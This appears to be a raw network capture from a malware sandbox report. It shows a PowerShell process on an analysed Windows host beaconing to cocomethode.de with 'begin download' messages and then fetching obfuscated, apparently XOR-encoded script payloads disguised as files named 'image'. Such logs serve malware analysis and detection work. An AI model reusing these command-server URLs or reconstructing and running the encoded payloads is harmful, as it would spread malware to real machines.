2024-12-11 11:44:03 UTC	1369	IN	Data Raw: 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 44 35 76 58 33 30 72 65 57 6e 76 52 6f 5b 60 52 46 72 32 53 47 47 77 5b 31 6d 45 50 56 65 4a 53 32 69 33 56 6b 40 79 63 46 4c 7b 55 6c 69 60 4c 6d 5b 37 52 54 4f 7b 4e 54 6d 45 52 59 53 4c 54 7b 43 31 55 47 4c 76 65 44 79 55 4c 49 53 4b 60 6f 4f 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 50 30 4b 77 56 6d 65 46 60 30 71 58 52 6f 71 4b 53 45 43 6f 54 54 69 31 4e 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 52 62 6d 71 58 60 33 65 50 54 31 47 71 54 55 48 34 65 56 53 49 57 6f 57 6a 50 7b 47 57 5b 57 69 42 63 44 6d 70 62 31 34 45 60 54 47 6f 52 54 4f 43 60 33 53 75 53 6f 4f 6a 57 30 57 6f 54 47 4f 43 60 57 6d 58 50 6f 65 68 53 33 79 70 56 57 69 52 62 46 48 78 4f 49 5b 69 Data Ascii: dl/Bnowdsu\;;GsnlC`rd75Rushof)#RD5vX30reWnvRo[`RFr2SGGw[1mEPVeJS2i3Vk@ycFL{Uli`Lm[7RTO{NTmERYSLT{C1UGLveDyULISK`oONP3bvR1mEPVeKP0KwVmeF`0qXRoqKSECoTTi1NT82LDuKP1GoRTORbmqX`3ePT1GqTUH4eVSIWoWjP{GW[WiBcDmpb14E`TGoRTOC`3SuSoOjW0WoTGOC`WmXPoehS3ypVWiRbFHxOI[i
2024-12-11 11:44:03 UTC	1369	IN	Data Raw: 4f 75 53 6b 57 59 64 57 4b 76 56 47 4f 43 4e 54 6d 45 54 6c 6d 6d 56 47 4b 72 54 57 69 4a 64 57 6d 58 63 46 4b 4a 53 33 79 6a 52 54 4c 79 60 56 57 49 4e 59 6d 4b 53 44 54 32 52 54 66 76 55 6a 4f 6f 60 31 71 55 57 7b 54 78 58 6b 4b 31 63 44 79 57 57 6b 53 6b 52 44 71 72 58 7b 4f 4e 62 46 48 78 4f 46 65 4d 53 6f 53 54 5b 57 69 4e 4c 47 71 59 4c 49 57 56 53 30 58 31 5b 44 4c 30 53 6c 4b 75 55 6f 5b 60 53 33 79 30 56 6b 44 76 4f 6a 38 72 57 6d 57 52 60 6c 65 30 54 6b 4b 56 4c 47 54 7b 54 6f 6d 69 57 7b 57 74 52 31 4f 52 60 56 57 58 54 6c 79 53 56 44 71 34 56 57 69 73 62 44 75 54 62 31 34 45 5b 33 75 4a 56 56 34 4a 63 47 6d 59 62 7b 65 44 54 56 38 4a 5b 6d 44 76 52 31 4f 59 55 6c 69 6a 53 31 34 77 53 47 47 77 52 6c 57 32 4c 44 75 45 54 56 79 54 56 6d 62 30 60 Data Ascii: OuSkWYdWKvVGOCNTmETlmmVGKrTWiJdWmXcFKJS3yjRTLy`VWINYmKSDT2RTfvUjOo`1qUW{TxXkK1cDyWWkSkRDqrX{ONbFHxOFeMSoST[WiNLGqYLIWVS0X1[DL0SlKuUo[`S3y0VkDvOj8rWmWR`le0TkKVLGT{TomiW{WtR1OR`VWXTlySVDq4VWisbDuTb14E[3uJVV4JcGmYb{eDTV8J[mDvR1OYUlijS14wSGGwRlW2LDuETVyTVmb0`
2024-12-11 11:44:03 UTC	73	IN	Data Raw: 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 6a 7b 76 7b 6a 6b 65 21 2a 21 25 6c 67 77 72 6c 78 65 76 28 28 28 28 3a 0b Data Ascii: /FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof))%j{v{jke!*!%lgwrlxev((((:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49742	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:04 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:44:04 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 61 36 63 36 38 65 64 61 35 65 62 32 66 32 65 32 34 66 36 62 37 31 62 62 37 35 64 64 63 36 64 35 30 37 61 35 66 65 34 36 38 33 31 36 64 64 38 32 37 34 33 32 31 37 34 39 31 63 37 64 65 61 36 38 39 35 34 65 36 32 66 62 30 35 66 32 32 33 34 31 34 36 64 30 32 64 66 66 36 37 61 38 32 35 30 39 35 39 39 62 32 38 33 36 31 37 34 35 34 37 36 32 32 64 30 65 65 38 66 65 32 35 36 61 34 31 31 32 36 34 36 38 65 62 35 62 39 36 35 66 31 37 33 30 65 36 36 32 66 38 66 63 32 31 64 39 33 34 33 34 63 35 31 38 62 63 37 37 30 36 65 31 39 64 36 33 30 37 33 37 33 32 31 34 31 64 36 66 32 31 30 31 36 63 36 37 63 30 33 62 64 Data Ascii: [ "\"begin download https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bd
2024-12-11 11:44:04 UTC	1183	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:04 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wJBMC%2FYM%2BDDZ7AhLTSLi2FtL%2Bi1KEzSSKkNUzDsG0fA%2B%2BIxdN4Lj7Hd52wUUGFU7mNtkHnS5MKQsj%2F%2Be4KCP4c9dWZvTMs6q%2FUZqZYFMw7Jl3IfvoCXBZK8YU53kTRDxMYttzPI8WRm8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2474&min_rtt=1185&rtt_var=333&sent=24460&recv=11145&lost=0&retrans=0&sent_bytes=35050252&recv_bytes=119699&delivery_rate=47390163&cwnd=270&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05387a7ece451b-ATL server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=42&rtt_var=21&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=850&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=83&min_rtt=83&rtt_var=41&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=843&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:04 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 38 37 26 6d 69 6e 5f 72 74 74 3d 31 31 33 39 34 32 26 72 74 74 5f 76 61 72 3d 32 34 31 30 33 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 32 34 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 37 39 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 39 30 34 35 33 37 37 36 30 64 31 36 30 35 38 61 26 74 73 3d 38 37 31 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113987&min_rtt=113942&rtt_var=24103&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1248&delivery_rate=33579&cwnd=252&unsent_bytes=0&cid=904537760d16058a&ts=871&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49743	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:05 UTC	365	OUT	GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:44:06 UTC	1301	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:05 GMT Content-Type: application/octet-stream Content-Length: 2858 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xRNFh9w7W8SfXK%2FXuRYE80QtzU8yJcCGcXOFai1q9wkSCDAmTLspctWx6u8a%2FzdYAen25s4VRkodAI30awFXd0Twv7JmNvHhEXEzOJLoMSyuMcJy8Mov%2FegbfEZ8vzPFMe7AUN1RFvyT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5723&min_rtt=1044&rtt_var=9307&sent=24&recv=22&lost=0&retrans=0&sent_bytes=19819&recv_bytes=8701&delivery_rate=6494661&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538819b6b53db-ATL server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113933&min_rtt=113894&rtt_var=24087&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33594&cwnd=252&unsent_bytes=0&cid=9690fea7b2e8055f&ts=856&x=0"
2024-12-11 11:44:06 UTC	68	IN	Data Raw: 25 63 6c 69 79 60 66 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 Data Ascii: %cliy`f<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;Gs
2024-12-11 11:44:06 UTC	1369	IN	Data Raw: 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 60 6a 30 34 56 6c 71 47 65 31 38 49 53 55 4f 60 53 31 6d 32 55 6c 30 60 63 54 34 70 50 55 4f 60 57 31 54 31 56 59 71 57 65 31 30 54 55 55 4f 5b 57 30 5b 70 55 6c 71 4b 4f 54 34 37 5b 7b 43 60 60 6a 31 30 56 6c 71 43 64 6a 34 75 54 6c 71 60 53 46 4c 30 56 6c 71 6e 60 31 30 59 52 55 4f 4f 4c 6a 54 78 56 6d 65 60 63 44 38 54 58 7b 4b 4e 60 6a 6a 7b 55 57 53 60 63 44 30 54 52 55 43 4f 53 30 54 79 56 6d 53 60 63 54 34 44 50 55 4b 4e 57 44 4b 70 55 31 65 4b 65 31 30 59 56 6c 71 60 60 6c 4c 31 55 31 65 46 60 31 30 49 52 6c 30 4f 57 46 4c 76 55 6d 53 60 60 47 6d 37 56 59 6d 5b 57 31 57 32 55 6f 71 52 60 44 34 54 54 59 6d 5b 4c 6a 71 75 55 6c 30 52 63 44 30 59 57 59 65 4f 60 6a 6a 30 56 6d 53 4a 63 54 38 59 56 55 53 Data Ascii: nlC`rd75Rushof)#`j04VlqGe18ISUO`S1m2Ul0`cT4pPUO`W1T1VYqWe10TUUO[W0[pUlqKOT47[{C``j10VlqCdj4uTlq`SFL0Vlqn`10YRUOOLjTxVme`cD8TX{KN`jj{UWS`cD0TRUCOS0TyVmS`cT4DPUKNWDKpU1eKe10YVlq``lL1U1eF`10IRl0OWFLvUmS``Gm7VYm[W1W2UoqR`D4TTYm[LjquUl0RcD0YWYeO`jj0VmSJcT8YVUS
2024-12-11 11:44:06 UTC	1369	IN	Data Raw: 6d 71 48 60 33 65 50 54 31 47 73 58 6a 62 34 63 6d 53 59 57 6f 71 6b 4c 6a 5b 74 56 6d 69 4f 5b 33 5b 45 50 6a 53 68 4c 6b 54 78 56 6d 69 4a 4c 47 5b 49 4e 49 53 55 63 6a 34 33 58 6c 71 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 53 56 79 30 5b 46 31 34 62 6d 71 55 4c 57 69 60 57 31 71 55 56 6d 69 46 4c 57 71 58 55 6b 43 4b 50 7b 47 56 58 33 30 73 5b 31 71 48 57 6f 6d 69 54 31 47 31 57 47 65 56 4c 46 47 49 4e 56 75 4b 53 6a 4b 33 58 7b 4f 53 5b 31 79 57 60 46 79 5b 57 30 4b 72 58 33 34 4f 5b 31 71 49 60 46 79 5b 57 30 4b 72 58 33 34 4f 5b 31 79 57 52 6f 5b 60 52 46 75 6f 52 6a 65 4a 65 6d 71 48 60 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 6c 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 70 56 57 69 52 Data Ascii: mqH`3ePT1GsXjb4cmSYWoqkLj[tVmiO[3[EPjShLkTxVmiJLG[INISUcj43Xlq{UjOqPVeKP1GoRTOC[1mEPVeKSVy0[F14bmqULWi`W1qUVmiFLWqXUkCKP{GVX30s[1qHWomiT1G1WGeVLFGINVuKSjK3X{OS[1yW`Fy[W0KrX34O[1qI`Fy[W0KrX34O[1yWRo[`RFuoRjeJemqH`14E`TGoRTOC[1mEPVelTUCMRTOC[1mEPVeKP1KpVWiR
2024-12-11 11:44:06 UTC	52	IN	Data Raw: 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 6e 69 75 6f 63 7b 6f 21 2a 21 25 63 6c 69 79 60 66 28 28 28 28 3a 0b Data Ascii: Bnowdsu\;;GsnlC`rd75Rushof))%niuoc{o!*!%cliy`f((((:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.30	49744	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:06 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:44:06 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 62 32 33 36 33 32 33 32 66 31 30 38 61 37 64 62 30 36 66 66 36 30 37 65 61 38 63 35 30 31 33 37 61 65 63 36 32 39 37 38 34 66 33 39 66 30 33 36 64 63 64 37 39 66 38 64 31 62 37 33 61 36 65 66 65 39 37 36 36 32 37 31 36 65 31 32 34 30 65 35 65 36 66 34 30 36 35 30 63 38 62 30 31 66 63 66 37 38 38 61 64 30 62 66 31 37 34 35 36 61 63 36 32 61 61 30 37 34 61 35 34 32 63 62 66 36 64 65 31 65 30 32 32 39 65 32 66 39 66 38 64 30 37 35 65 61 34 39 32 66 64 32 37 31 62 36 65 38 64 61 35 63 38 30 35 61 30 30 32 39 36 35 36 30 36 33 34 63 61 62 32 33 36 36 63 30 37 38 31 64 38 35 36 61 30 33 32 35 36 34 61 Data Ascii: [ "\"begin download https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564a
2024-12-11 11:44:06 UTC	1213	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:06 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X8h2%2Fa32fzbaIaziLohTKPtvNjZ32TdmnG0hqBgnb8HsgVRLbZXrDlMcW%2BFrYRnV99zOjdcatC3biHad6bQ9giv1leUocU3UoIxtYNIbkljLL2%2BYYo%2B8QWhNjQQdBbiRehMrSf%2BeK%2FMm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2568&min_rtt=1037&rtt_var=450&sent=18533&recv=8173&lost=0&retrans=0&sent_bytes=26457379&recv_bytes=124837&delivery_rate=51681415&cwnd=266&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053888aae7b02d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=41&rtt_var=28&sent=4&recv=6&lost=0&retrans=0&sent_bytes=3967&recv_bytes=1467&delivery_rate=696627659&cwnd=176&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113733&min_rtt=113644&rtt_var=24123&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1248&delivery_rate=33593&cwnd=252&unsent_bytes=0&cid=d3df9a91cab7c1f5&ts=596&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.30	49745	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:07 UTC	365	OUT	GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:44:08 UTC	1293	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:08 GMT Content-Type: application/octet-stream Content-Length: 21732 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KGsfdVKzBTeEWM55gcC3%2BNld%2B%2B7fauuCuzi8AxSPAKnyl5JMzyDiwEMyUUGeBRaGsHWJ8gy4qOyNEBjvsXL9ACCKkSWtXffImBc3iHW7UKmWzYMk3Gky539G2SU8iZGi5O%2Bvkit3ajMW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8832&min_rtt=1037&rtt_var=12866&sent=18535&recv=8175&lost=0&retrans=0&sent_bytes=26458161&recv_bytes=126005&delivery_rate=51681415&cwnd=264&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05388dfa8dd1b5-ATL server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=768&delivery_rate=0&cwnd=182&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=51&min_rtt=51&rtt_var=25&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=753&delivery_rate=0&cwnd=111&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:08 UTC	1380	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 33 26 6d 69 6e 5f 72 74 74 3d 34 33 26 72 74 74 5f 76 61 72 3d 32 31 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 37 33 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 36 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 35 26 6d 69 6e 5f 72 74 74 3d 34 35 26 72 74 74 5f Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=738&delivery_rate=0&cwnd=67&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=45&rtt_
2024-12-11 11:44:08 UTC	612	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 33 26 6d 69 6e 5f 72 74 74 3d 34 33 26 72 74 74 5f 76 61 72 3d 32 31 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 34 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 34 26 6d 69 6e 5f 72 74 74 3d 34 34 26 72 74 74 5f Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=629&delivery_rate=0&cwnd=40&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_
2024-12-11 11:44:08 UTC	822	IN	Data Raw: 25 68 78 72 67 6a 73 77 66 72 63 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 56 6f 43 68 53 30 5b 6a 55 33 71 76 56 46 4f 75 63 45 43 60 57 54 5b 7b 58 6a 57 4a 4f 56 53 49 57 6f 71 4d 50 30 4b 50 5b 47 69 52 65 33 53 58 54 6a 65 69 57 32 69 72 57 54 65 46 4c 46 47 45 65 33 65 4a 53 30 71 76 58 6a 65 56 50 33 57 58 54 6c 79 6b 64 56 75 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 52 6d 4f 56 56 6d 71 53 57 59 43 44 54 56 75 4e 58 54 6d 45 52 6d 57 69 53 30 57 6f 56 6c 30 72 62 30 71 55 50 56 75 55 57 7b 57 32 5b 47 69 52 53 33 47 59 64 46 79 57 53 31 58 Data Ascii: %hxrgjswfrc<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#VoChS0[jU3qvVFOucEC`WT[{XjWJOVSIWoqMP0KP[GiRe3SXTjeiW2irWTeFLFGEe3eJS0qvXjeVP3WXTlykdVuNP3bvR1mEPVeKP1GoRTOBRmOVVmqSWYCDTVuNXTmERmWiS0WoVl0rb0qUPVuUW{W2[GiRS3GYdFyWS1X
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 6a 78 4e 59 57 60 52 44 30 6f 54 47 4f 43 4c 6a 30 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 4e 50 33 6d 43 5b 31 6d 45 50 59 43 44 54 56 38 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 50 30 48 76 56 6d 62 79 65 30 4b 75 4e 59 4f 60 53 30 5b 34 52 54 50 76 5b 30 62 79 55 6b 57 6b 4c 30 4b 72 58 6d 4c 30 52 6d 53 34 4f 57 47 5b 56 47 4b 77 56 47 53 77 4f 6d 48 78 57 6b 43 56 53 30 5b 31 58 31 5b 42 60 46 53 49 5b 33 38 4d 54 55 43 4d 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 73 56 6c 30 72 62 30 71 56 50 6c 69 6a 53 33 65 6f 54 47 4f 42 52 33 48 78 63 49 57 4c 57 6a 4b 6e 5b 44 65 6f 5b 31 79 56 50 6c 69 6a 53 33 65 6f 52 6a 69 52 63 46 4b 58 50 6a 65 68 4c 6f 69 73 56 6d 69 4b 5b 31 79 57 55 6c 38 69 57 32 69 73 57 54 65 46 4c Data Ascii: jxNYW`RD0oTGOCLj0EPVeKP1GoRTOC[1mEPVeKP1GNP3mC[1mEPYCDTV8NP3bvR1mEPVeKP0HvVmbye0KuNYO`S0[4RTPv[0byUkWkL0KrXmL0RmS4OWG[VGKwVGSwOmHxWkCVS0[1X1[B`FSI[38MTUCMSGGwUjOqPVeKP1GsVl0rb0qVPlijS3eoTGOBR3HxcIWLWjKn[Deo[1yVPlijS3eoRjiRcFKXPjehLoisVmiK[1yWUl8iW2isWTeFL
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 31 58 57 69 4e 4c 46 4f 37 63 33 65 4a 53 30 71 76 58 6a 65 56 54 57 6d 58 54 6c 38 4b 5b 7b 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 71 4b 53 57 4b 72 58 6a 65 56 4c 47 71 55 50 6b 43 69 53 30 57 6f 56 6c 30 72 62 30 71 53 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 57 56 30 56 65 46 48 7b 56 6c 79 4c 57 56 76 76 56 6d 62 76 5b 31 79 56 50 6c 69 6a 53 33 65 6f 52 6a 65 60 62 46 4b 49 57 6d 47 5b 56 47 4b 77 52 54 4c 79 53 33 48 7b 52 6c 71 60 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 4f 57 63 47 65 59 57 54 5b 4d 54 55 43 4a 53 47 65 71 50 56 6d 52 63 56 79 7b 56 6d 4f 42 60 30 71 59 64 46 79 6a 53 30 5b 73 55 33 6d 43 60 30 71 75 63 49 4f 60 57 6a Data Ascii: 1XWiNLFO7c3eJS0qvXjeVTWmXTl8K[{CMSGGw[1mEPVeKP1GoRTOC[1mEPVqKSWKrXjeVLGqUPkCiS0WoVl0rb0qSLDuKP1GoRTOC[1mEPVeKP1GoWV0VeFH{VlyLWVvvVmbv[1yVPlijS3eoRje`bFKIWmG[VGKwRTLyS3H{Rlq`TUCMRTOC[1mEPVeKP1GoRTOC[0OWcGeYWT[MTUCJSGeqPVmRcVy{VmOB`0qYdFyjS0[sU3mC`0qucIO`Wj
